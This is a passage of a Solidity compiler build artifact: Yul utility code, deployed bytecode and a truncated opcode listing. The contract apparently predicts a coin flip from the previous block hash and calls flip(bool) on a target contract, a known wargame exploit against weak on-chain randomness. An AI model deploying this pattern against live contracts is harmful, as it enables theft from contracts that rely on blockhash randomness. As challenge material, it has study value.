"src": "2570:3:1", "statements": [] }, "src": "2566:113:1" }, { "expression": { "arguments": [ { "arguments": [ { "name": "dst", "nodeType": "YulIdentifier", "src": "2699:3:1" }, { "name": "length", "nodeType": "YulIdentifier", "src": "2704:6:1" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "2695:3:1" }, "nodeType": "YulFunctionCall", "src": "2695:16:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "2713:1:1", "type": "", "value": "0" } ], "functionName": { "name": "mstore", "nodeType": "YulIdentifier", "src": "2688:6:1" }, "nodeType": "YulFunctionCall", "src": "2688:27:1" }, "nodeType": "YulExpressionStatement", "src": "2688:27:1" } ] }, "name": "copy_memory_to_memory_with_cleanup", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "src", "nodeType": "YulTypedName", "src": "2519:3:1", "type": "" }, { "name": "dst", "nodeType": "YulTypedName", "src": "2524:3:1", "type": "" }, { "name": "length", "nodeType": "YulTypedName", "src": "2529:6:1", "type": "" } ], "src": "2475:246:1" }, { "body": { "nodeType": "YulBlock", "src": "2835:278:1", "statements": [ { "nodeType": "YulVariableDeclaration", "src": "2845:52:1", "value": { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "2891:5:1" } ], "functionName": { "name": "array_length_t_bytes_memory_ptr", "nodeType": "YulIdentifier", "src": "2859:31:1" }, "nodeType": "YulFunctionCall", "src": "2859:38:1" }, "variables": [ { "name": "length", "nodeType": "YulTypedName", "src": "2849:6:1", "type": "" } ] }, { "nodeType": "YulAssignment", "src": "2906:95:1", "value": { "arguments": [ { "name": "pos", "nodeType": "YulIdentifier", "src": "2989:3:1" }, { "name": "length", "nodeType": "YulIdentifier", "src": "2994:6:1" } ], "functionName": { "name": "array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack", "nodeType": "YulIdentifier", "src": "2913:75:1" }, "nodeType": "YulFunctionCall", "src": "2913:88:1" }, "variableNames": [ { "name": "pos", "nodeType": "YulIdentifier", "src": "2906:3:1" } ] }, { "expression": { "arguments": [ { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "3049:5:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "3056:4:1", "type": "", "value": "0x20" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "3045:3:1" }, "nodeType": "YulFunctionCall", "src": "3045:16:1" }, { "name": "pos", "nodeType": "YulIdentifier", "src": "3063:3:1" }, { "name": "length", "nodeType": "YulIdentifier", "src": "3068:6:1" } ], "functionName": { "name": "copy_memory_to_memory_with_cleanup", "nodeType": "YulIdentifier", "src": "3010:34:1" }, "nodeType": "YulFunctionCall", "src": "3010:65:1" }, "nodeType": "YulExpressionStatement", "src": "3010:65:1" }, { "nodeType": "YulAssignment", "src": "3084:23:1", "value": { "arguments": [ { "name": "pos", "nodeType": "YulIdentifier", "src": "3095:3:1" }, { "name": "length", "nodeType": "YulIdentifier", "src": "3100:6:1" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "3091:3:1" }, "nodeType": "YulFunctionCall", "src": "3091:16:1" }, "variableNames": [ { "name": "end", "nodeType": "YulIdentifier", "src": "3084:3:1" } ] } ] }, "name": "abi_encode_t_bytes_memory_ptr_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "value", "nodeType": "YulTypedName", "src": "2816:5:1", "type": "" }, { "name": "pos", "nodeType": "YulTypedName", "src": "2823:3:1", "type": "" } ], "returnVariables": [ { "name": "end", "nodeType": "YulTypedName", "src": "2831:3:1", "type": "" } ], "src": "2727:386:1" }, { "body": { "nodeType": "YulBlock", "src": "3253:137:1", "statements": [ { "nodeType": "YulAssignment", "src": "3264:100:1", "value": { "arguments": [ { "name": "value0", "nodeType": "YulIdentifier", "src": "3351:6:1" }, { "name": "pos", "nodeType": "YulIdentifier", "src": "3360:3:1" } ], "functionName": { "name": "abi_encode_t_bytes_memory_ptr_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack", "nodeType": "YulIdentifier", "src": "3271:79:1" }, "nodeType": "YulFunctionCall", "src": "3271:93:1" }, "variableNames": [ { "name": "pos", "nodeType": "YulIdentifier", "src": "3264:3:1" } ] }, { "nodeType": "YulAssignment", "src": "3374:10:1", "value": { "name": "pos", "nodeType": "YulIdentifier", "src": "3381:3:1" }, "variableNames": [ { "name": "end", "nodeType": "YulIdentifier", "src": "3374:3:1" } ] } ] }, "name": "abi_encode_tuple_packed_t_bytes_memory_ptr__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "pos", "nodeType": "YulTypedName", "src": "3232:3:1", "type": "" }, { "name": "value0", "nodeType": "YulTypedName", "src": "3238:6:1", "type": "" } ], "returnVariables": [ { "name": "end", "nodeType": "YulTypedName", "src": "3249:3:1", "type": "" } ], "src": "3119:271:1" }, { "body": { "nodeType": "YulBlock", "src": "3492:73:1", "statements": [ { "expression": { "arguments": [ { "name": "pos", "nodeType": "YulIdentifier", "src": "3509:3:1" }, { "name": "length", "nodeType": "YulIdentifier", "src": "3514:6:1" } ], "functionName": { "name": "mstore", "nodeType": "YulIdentifier", "src": "3502:6:1" }, "nodeType": "YulFunctionCall", "src": "3502:19:1" }, "nodeType": "YulExpressionStatement", "src": "3502:19:1" }, { "nodeType": "YulAssignment", "src": "3530:29:1", "value": { "arguments": [ { "name": "pos", "nodeType": "YulIdentifier", "src": "3549:3:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "3554:4:1", "type": "", "value": "0x20" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "3545:3:1" }, "nodeType": "YulFunctionCall", "src": "3545:14:1" }, "variableNames": [ { "name": "updated_pos", "nodeType": "YulIdentifier", "src": "3530:11:1" } ] } ] }, "name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "pos", "nodeType": "YulTypedName", "src": "3464:3:1", "type": "" }, { "name": "length", "nodeType": "YulTypedName", "src": "3469:6:1", "type": "" } ], "returnVariables": [ { "name": "updated_pos", "nodeType": "YulTypedName", "src": "3480:11:1", "type": "" } ], "src": "3396:169:1" }, { "body": { "nodeType": "YulBlock", "src": "3677:55:1", "statements": [ { "expression": { "arguments": [ { "arguments": [ { "name": "memPtr", "nodeType": "YulIdentifier", "src": "3699:6:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "3707:1:1", "type": "", "value": "0" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "3695:3:1" }, "nodeType": "YulFunctionCall", "src": "3695:14:1" }, { "hexValue": "43616c6c206661696c6564", "kind": "string", "nodeType": "YulLiteral", "src": "3711:13:1", "type": "", "value": "Call failed" } ], "functionName": { "name": "mstore", "nodeType": "YulIdentifier", "src": "3688:6:1" }, "nodeType": "YulFunctionCall", "src": "3688:37:1" }, "nodeType": "YulExpressionStatement", "src": "3688:37:1" } ] }, "name": "store_literal_in_memory_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "memPtr", "nodeType": "YulTypedName", "src": "3669:6:1", "type": "" } ], "src": "3571:161:1" }, { "body": { "nodeType": "YulBlock", "src": "3884:220:1", "statements": [ { "nodeType": "YulAssignment", "src": "3894:74:1", "value": { "arguments": [ { "name": "pos", "nodeType": "YulIdentifier", "src": "3960:3:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "3965:2:1", "type": "", "value": "11" } ], "functionName": { "name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack", "nodeType": "YulIdentifier", "src": "3901:58:1" }, "nodeType": "YulFunctionCall", "src": "3901:67:1" }, "variableNames": [ { "name": "pos", "nodeType": "YulIdentifier", "src": "3894:3:1" } ] }, { "expression": { "arguments": [ { "name": "pos", "nodeType": "YulIdentifier", "src": "4066:3:1" } ], "functionName": { "name": "store_literal_in_memory_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b", "nodeType": "YulIdentifier", "src": "3977:88:1" }, "nodeType": "YulFunctionCall", "src": "3977:93:1" }, "nodeType": "YulExpressionStatement", "src": "3977:93:1" }, { "nodeType": "YulAssignment", "src": "4079:19:1", "value": { "arguments": [ { "name": "pos", "nodeType": "YulIdentifier", "src": "4090:3:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "4095:2:1", "type": "", "value": "32" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "4086:3:1" }, "nodeType": "YulFunctionCall", "src": "4086:12:1" }, "variableNames": [ { "name": "end", "nodeType": "YulIdentifier", "src": "4079:3:1" } ] } ] }, "name": "abi_encode_t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b_to_t_string_memory_ptr_fromStack", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "pos", "nodeType": "YulTypedName", "src": "3872:3:1", "type": "" } ], "returnVariables": [ { "name": "end", "nodeType": "YulTypedName", "src": "3880:3:1", "type": "" } ], "src": "3738:366:1" }, { "body": { "nodeType": "YulBlock", "src": "4281:248:1", "statements": [ { "nodeType": "YulAssignment", "src": "4291:26:1", "value": { "arguments": [ { "name": "headStart", "nodeType": "YulIdentifier", "src": "4303:9:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "4314:2:1", "type": "", "value": "32" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "4299:3:1" }, "nodeType": "YulFunctionCall", "src": "4299:18:1" }, "variableNames": [ { "name": "tail", "nodeType": "YulIdentifier", "src": "4291:4:1" } ] }, { "expression": { "arguments": [ { "arguments": [ { "name": "headStart", "nodeType": "YulIdentifier", "src": "4338:9:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "4349:1:1", "type": "", "value": "0" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "4334:3:1" }, "nodeType": "YulFunctionCall", "src": "4334:17:1" }, { "arguments": [ { "name": "tail", "nodeType": "YulIdentifier", "src": "4357:4:1" }, { "name": "headStart", "nodeType": "YulIdentifier", "src": "4363:9:1" } ], "functionName": { "name": "sub", "nodeType": "YulIdentifier", "src": "4353:3:1" }, "nodeType": "YulFunctionCall", "src": "4353:20:1" } ], "functionName": { "name": "mstore", "nodeType": "YulIdentifier", "src": "4327:6:1" }, "nodeType": "YulFunctionCall", "src": "4327:47:1" }, "nodeType": "YulExpressionStatement", "src": "4327:47:1" }, { "nodeType": "YulAssignment", "src": "4383:139:1", "value": { "arguments": [ { "name": "tail", "nodeType": "YulIdentifier", "src": "4517:4:1" } ], "functionName": { "name": "abi_encode_t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b_to_t_string_memory_ptr_fromStack", "nodeType": "YulIdentifier", "src": "4391:124:1" }, "nodeType": "YulFunctionCall", "src": "4391:131:1" }, "variableNames": [ { "name": "tail", "nodeType": "YulIdentifier", "src": "4383:4:1" } ] } ] }, "name": "abi_encode_tuple_t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b__to_t_string_memory_ptr__fromStack_reversed", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "headStart", "nodeType": "YulTypedName", "src": "4261:9:1", "type": "" } ], "returnVariables": [ { "name": "tail", "nodeType": "YulTypedName", "src": "4276:4:1", "type": "" } ], "src": "4110:419:1" }, { "body": { "nodeType": "YulBlock", "src": "4575:35:1", "statements": [ { "nodeType": "YulAssignment", "src": "4585:19:1", "value": { "arguments": [ { "kind": "number", "nodeType": "YulLiteral", "src": "4601:2:1", "type": "", "value": "64" } ], "functionName": { "name": "mload", "nodeType": "YulIdentifier", "src": "4595:5:1" }, "nodeType": "YulFunctionCall", "src": "4595:9:1" }, "variableNames": [ { "name": "memPtr", "nodeType": "YulIdentifier", "src": "4585:6:1" } ] } ] }, "name": "allocate_unbounded", "nodeType": "YulFunctionDefinition", "returnVariables": [ { "name": "memPtr", "nodeType": "YulTypedName", "src": "4568:6:1", "type": "" } ], "src": "4535:75:1" }, { "body": { "nodeType": "YulBlock", "src": "4705:28:1", "statements": [ { "expression": { "arguments": [ { "kind": "number", "nodeType": "YulLiteral", "src": "4722:1:1", "type": "", "value": "0" }, { "kind": "number", "nodeType": "YulLiteral", "src": "4725:1:1", "type": "", "value": "0" } ], "functionName": { "name": "revert", "nodeType": "YulIdentifier", "src": "4715:6:1" }, "nodeType": "YulFunctionCall", "src": "4715:12:1" }, "nodeType": "YulExpressionStatement", "src": "4715:12:1" } ] }, "name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b", "nodeType": "YulFunctionDefinition", "src": "4616:117:1" }, { "body": { "nodeType": "YulBlock", "src": "4828:28:1", "statements": [ { "expression": { "arguments": [ { "kind": "number", "nodeType": "YulLiteral", "src": "4845:1:1", "type": "", "value": "0" }, { "kind": "number", "nodeType": "YulLiteral", "src": "4848:1:1", "type": "", "value": "0" } ], "functionName": { "name": "revert", "nodeType": "YulIdentifier", "src": "4838:6:1" }, "nodeType": "YulFunctionCall", "src": "4838:12:1" }, "nodeType": "YulExpressionStatement", "src": "4838:12:1" } ] }, "name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db", "nodeType": "YulFunctionDefinition", "src": "4739:117:1" }, { "body": { "nodeType": "YulBlock", "src": "4902:76:1", "statements": [ { "body": { "nodeType": "YulBlock", "src": "4956:16:1", "statements": [ { "expression": { "arguments": [ { "kind": "number", "nodeType": "YulLiteral", "src": "4965:1:1", "type": "", "value": "0" }, { "kind": "number", "nodeType": "YulLiteral", "src": "4968:1:1", "type": "", "value": "0" } ], "functionName": { "name": "revert", "nodeType": "YulIdentifier", "src": "4958:6:1" }, "nodeType": "YulFunctionCall", "src": "4958:12:1" }, "nodeType": "YulExpressionStatement", "src": "4958:12:1" } ] }, "condition": { "arguments": [ { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "4925:5:1" }, { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "4947:5:1" } ], "functionName": { "name": "cleanup_t_bool", "nodeType": "YulIdentifier", "src": "4932:14:1" }, "nodeType": "YulFunctionCall", "src": "4932:21:1" } ], "functionName": { "name": "eq", "nodeType": "YulIdentifier", "src": "4922:2:1" }, "nodeType": "YulFunctionCall", "src": "4922:32:1" } ], "functionName": { "name": "iszero", "nodeType": "YulIdentifier", "src": "4915:6:1" }, "nodeType": "YulFunctionCall", "src": "4915:40:1" }, "nodeType": "YulIf", "src": "4912:60:1" } ] }, "name": "validator_revert_t_bool", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "value", "nodeType": "YulTypedName", "src": "4895:5:1", "type": "" } ], "src": "4862:116:1" }, { "body": { "nodeType": "YulBlock", "src": "5044:77:1", "statements": [ { "nodeType": "YulAssignment", "src": "5054:22:1", "value": { "arguments": [ { "name": "offset", "nodeType": "YulIdentifier", "src": "5069:6:1" } ], "functionName": { "name": "mload", "nodeType": "YulIdentifier", "src": "5063:5:1" }, "nodeType": "YulFunctionCall", "src": "5063:13:1" }, "variableNames": [ { "name": "value", "nodeType": "YulIdentifier", "src": "5054:5:1" } ] }, { "expression": { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "5109:5:1" } ], "functionName": { "name": "validator_revert_t_bool", "nodeType": "YulIdentifier", "src": "5085:23:1" }, "nodeType": "YulFunctionCall", "src": "5085:30:1" }, "nodeType": "YulExpressionStatement", "src": "5085:30:1" } ] }, "name": "abi_decode_t_bool_fromMemory", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "offset", "nodeType": "YulTypedName", "src": "5022:6:1", "type": "" }, { "name": "end", "nodeType": "YulTypedName", "src": "5030:3:1", "type": "" } ], "returnVariables": [ { "name": "value", "nodeType": "YulTypedName", "src": "5038:5:1", "type": "" } ], "src": "4984:137:1" }, { "body": { "nodeType": "YulBlock", "src": "5201:271:1", "statements": [ { "body": { "nodeType": "YulBlock", "src": "5247:83:1", "statements": [ { "expression": { "arguments": [], "functionName": { "name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b", "nodeType": "YulIdentifier", "src": "5249:77:1" }, "nodeType": "YulFunctionCall", "src": "5249:79:1" }, "nodeType": "YulExpressionStatement", "src": "5249:79:1" } ] }, "condition": { "arguments": [ { "arguments": [ { "name": "dataEnd", "nodeType": "YulIdentifier", "src": "5222:7:1" }, { "name": "headStart", "nodeType": "YulIdentifier", "src": "5231:9:1" } ], "functionName": { "name": "sub", "nodeType": "YulIdentifier", "src": "5218:3:1" }, "nodeType": "YulFunctionCall", "src": "5218:23:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "5243:2:1", "type": "", "value": "32" } ], "functionName": { "name": "slt", "nodeType": "YulIdentifier", "src": "5214:3:1" }, "nodeType": "YulFunctionCall", "src": "5214:32:1" }, "nodeType": "YulIf", "src": "5211:119:1" }, { "nodeType": "YulBlock", "src": "5340:125:1", "statements": [ { "nodeType": "YulVariableDeclaration", "src": "5355:15:1", "value": { "kind": "number", "nodeType": "YulLiteral", "src": "5369:1:1", "type": "", "value": "0" }, "variables": [ { "name": "offset", "nodeType": "YulTypedName", "src": "5359:6:1", "type": "" } ] }, { "nodeType": "YulAssignment", "src": "5384:71:1", "value": { "arguments": [ { "arguments": [ { "name": "headStart", "nodeType": "YulIdentifier", "src": "5427:9:1" }, { "name": "offset", "nodeType": "YulIdentifier", "src": "5438:6:1" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "5423:3:1" }, "nodeType": "YulFunctionCall", "src": "5423:22:1" }, { "name": "dataEnd", "nodeType": "YulIdentifier", "src": "5447:7:1" } ], "functionName": { "name": "abi_decode_t_bool_fromMemory", "nodeType": "YulIdentifier", "src": "5394:28:1" }, "nodeType": "YulFunctionCall", "src": "5394:61:1" }, "variableNames": [ { "name": "value0", "nodeType": "YulIdentifier", "src": "5384:6:1" } ] } ] } ] }, "name": "abi_decode_tuple_t_bool_fromMemory", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "headStart", "nodeType": "YulTypedName", "src": "5171:9:1", "type": "" }, { "name": "dataEnd", "nodeType": "YulTypedName", "src": "5182:7:1", "type": "" } ], "returnVariables": [ { "name": "value0", "nodeType": "YulTypedName", "src": "5194:6:1", "type": "" } ], "src": "5127:345:1" } ] }, "contents": "{\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function abi_encode_t_address_to_t_address_fromStack(value, pos) {\n mstore(pos, cleanup_t_address(value))\n }\n\n function abi_encode_tuple_t_address__to_t_address__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_address_to_t_address_fromStack(value0, add(headStart, 0))\n\n }\n\n function cleanup_t_bool(value) -> cleaned {\n cleaned := iszero(iszero(value))\n }\n\n function abi_encode_t_bool_to_t_bool_fromStack(value, pos) {\n mstore(pos, cleanup_t_bool(value))\n }\n\n function abi_encode_tuple_t_bool__to_t_bool__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_bool_to_t_bool_fromStack(value0, add(headStart, 0))\n\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function panic_error_0x11() {\n mstore(0, 35408467139433450592217433187231851964531694900788300625387963629091585785856)\n mstore(4, 0x11)\n revert(0, 0x24)\n }\n\n function checked_sub_t_uint256(x, y) -> diff {\n x := cleanup_t_uint256(x)\n y := cleanup_t_uint256(y)\n diff := sub(x, y)\n\n if gt(diff, x) { panic_error_0x11() }\n\n }\n\n function panic_error_0x12() {\n mstore(0, 35408467139433450592217433187231851964531694900788300625387963629091585785856)\n mstore(4, 0x12)\n revert(0, 0x24)\n }\n\n function checked_div_t_uint256(x, y) -> r {\n x := cleanup_t_uint256(x)\n y := cleanup_t_uint256(y)\n if iszero(y) { panic_error_0x12() }\n\n r := div(x, y)\n }\n\n function array_length_t_bytes_memory_ptr(value) -> length {\n\n length := mload(value)\n\n }\n\n function array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos, length) -> updated_pos {\n updated_pos := pos\n }\n\n function copy_memory_to_memory_with_cleanup(src, dst, length) {\n let i := 0\n for { } lt(i, length) { i := add(i, 32) }\n {\n mstore(add(dst, i), mload(add(src, i)))\n }\n mstore(add(dst, length), 0)\n }\n\n function abi_encode_t_bytes_memory_ptr_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack(value, pos) -> end {\n let length := array_length_t_bytes_memory_ptr(value)\n pos := array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos, length)\n copy_memory_to_memory_with_cleanup(add(value, 0x20), pos, length)\n end := add(pos, length)\n }\n\n function abi_encode_tuple_packed_t_bytes_memory_ptr__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed(pos , value0) -> end {\n\n pos := abi_encode_t_bytes_memory_ptr_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack(value0, pos)\n\n end := pos\n }\n\n function array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, length) -> updated_pos {\n mstore(pos, length)\n updated_pos := add(pos, 0x20)\n }\n\n function store_literal_in_memory_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b(memPtr) {\n\n mstore(add(memPtr, 0), \"Call failed\")\n\n }\n\n function abi_encode_t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b_to_t_string_memory_ptr_fromStack(pos) -> end {\n pos := array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, 11)\n store_literal_in_memory_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b(pos)\n end := add(pos, 32)\n }\n\n function abi_encode_tuple_t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b__to_t_string_memory_ptr__fromStack_reversed(headStart ) -> tail {\n tail := add(headStart, 32)\n\n mstore(add(headStart, 0), sub(tail, headStart))\n tail := abi_encode_t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b_to_t_string_memory_ptr_fromStack( tail)\n\n }\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function validator_revert_t_bool(value) {\n if iszero(eq(value, cleanup_t_bool(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_bool_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_bool(value)\n }\n\n function abi_decode_tuple_t_bool_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_bool_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n}\n", "id": 1, "language": "Yul", "name": "#utility.yul" } ], "immutableReferences": {}, "linkReferences": {}, "object": "608060405234801561001057600080fd5b50600436106100415760003560e01c8063278de414146100465780639e5faafc14610064578063e6f334d714610082575b600080fd5b61004e6100a0565b60405161005b91906102e4565b60405180910390f35b61006c6100c4565b604051610079919061031a565b60405180910390f35b61008a61029d565b604051610097919061034e565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806001436100d49190610398565b4060001c905080600254036100e857600080fd5b806002819055506000600354826100ff91906103fb565b9050600060018214610112576000610115565b60015b905060008160405160240161012a919061031a565b6040516020818303038152906040527f1d263f67000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050905060008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16836040516101f1919061049d565b6000604051808303816000865af19150503d806000811461022e576040519150601f19603f3d011682016040523d82523d6000602084013e610233565b606091505b509150915081610278576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026f90610511565b60405180910390fd5b60008180602001905181019061028e9190610562565b90508097505050505050505090565b60015481565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006102ce826102a3565b9050919050565b6102de816102c3565b82525050565b60006020820190506102f960008301846102d5565b92915050565b60008115159050919050565b610314816102ff565b82525050565b600060208201905061032f600083018461030b565b92915050565b6000819050919050565b61034881610335565b82525050565b6000602082019050610363600083018461033f565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006103a382610335565b91506103ae83610335565b92508282039050818111156103c6576103c5610369565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061040682610335565b915061041183610335565b925082610421576104206103cc565b5b828204905092915050565b600081519050919050565b600081905092915050565b60005b83811015610460578082015181840152602081019050610445565b60008484015250505050565b60006104778261042c565b6104818185610437565b9350610491818560208601610442565b80840191505092915050565b60006104a9828461046c565b915081905092915050565b600082825260208201905092915050565b7f43616c6c206661696c6564000000000000000000000000000000000000000000600082015250565b60006104fb600b836104b4565b9150610506826104c5565b602082019050919050565b6000602082019050818103600083015261052a816104ee565b9050919050565b600080fd5b61053f816102ff565b811461054a57600080fd5b50565b60008151905061055c81610536565b92915050565b60006020828403121561057857610577610531565b5b60006105868482850161054d565b9150509291505056fea2646970667358221220333c141a21ba4c3ec28283a7e0ffae1f34084b600c756ca766e357d053d47a1064736f6c63430008120033", "opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x41 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x278DE414 EQ PUSH2 0x46 JUMPI DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x64 JUMPI DUP1 PUSH4 0xE6F334D7 EQ PUSH2 0x82 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x4E PUSH2 0xA0 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x5B SWAP2 SWAP1 PUSH2 0x2E4 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x6C PUSH2 0xC4 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x79 SWAP2 SWAP1 PUSH2 0x31A JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x8A PUSH2 0x29D JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x97 SWAP2 SWAP1 PUSH2 0x34E JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x1 NUMBER PUSH2 0xD4 SWAP2 SWAP1 PUSH2 0x398 JUMP JUMPDEST BLOCKHASH PUSH1 0x0 SHR SWAP1 POP DUP1 PUSH1 0x2 SLOAD SUB PUSH2 0xE8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x2 DUP2 SWAP1 SSTORE POP PUSH1 0x0 PUSH1 0x3 SLOAD DUP3 PUSH2 0xFF SWAP2 SWAP1 PUSH2 0x3FB JUMP JUMPDEST SWAP1 POP PUSH1 0x0 PUSH1 0x1 DUP3 EQ PUSH2 0x112 JUMPI PUSH1 0x0 PUSH2 0x115 JUMP JUMPDEST PUSH1 0x1 JUMPDEST SWAP1 POP PUSH1 0x0 DUP2 PUSH1 0x40 MLOAD PUSH1 0x24 ADD PUSH2 0x12A SWAP2 SWAP1 PUSH2 0x31A JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x20 DUP2 DUP4 SUB SUB DUP2 MSTORE SWAP1 PUSH1 0x40 MSTORE PUSH32 0x1D263F6700000000000000000000000000000000000000000000000000000000 PUSH28 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF NOT AND PUSH1 0x20 DUP3 ADD DUP1 MLOAD PUSH28 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP4 DUP2 DUP4 AND OR DUP4 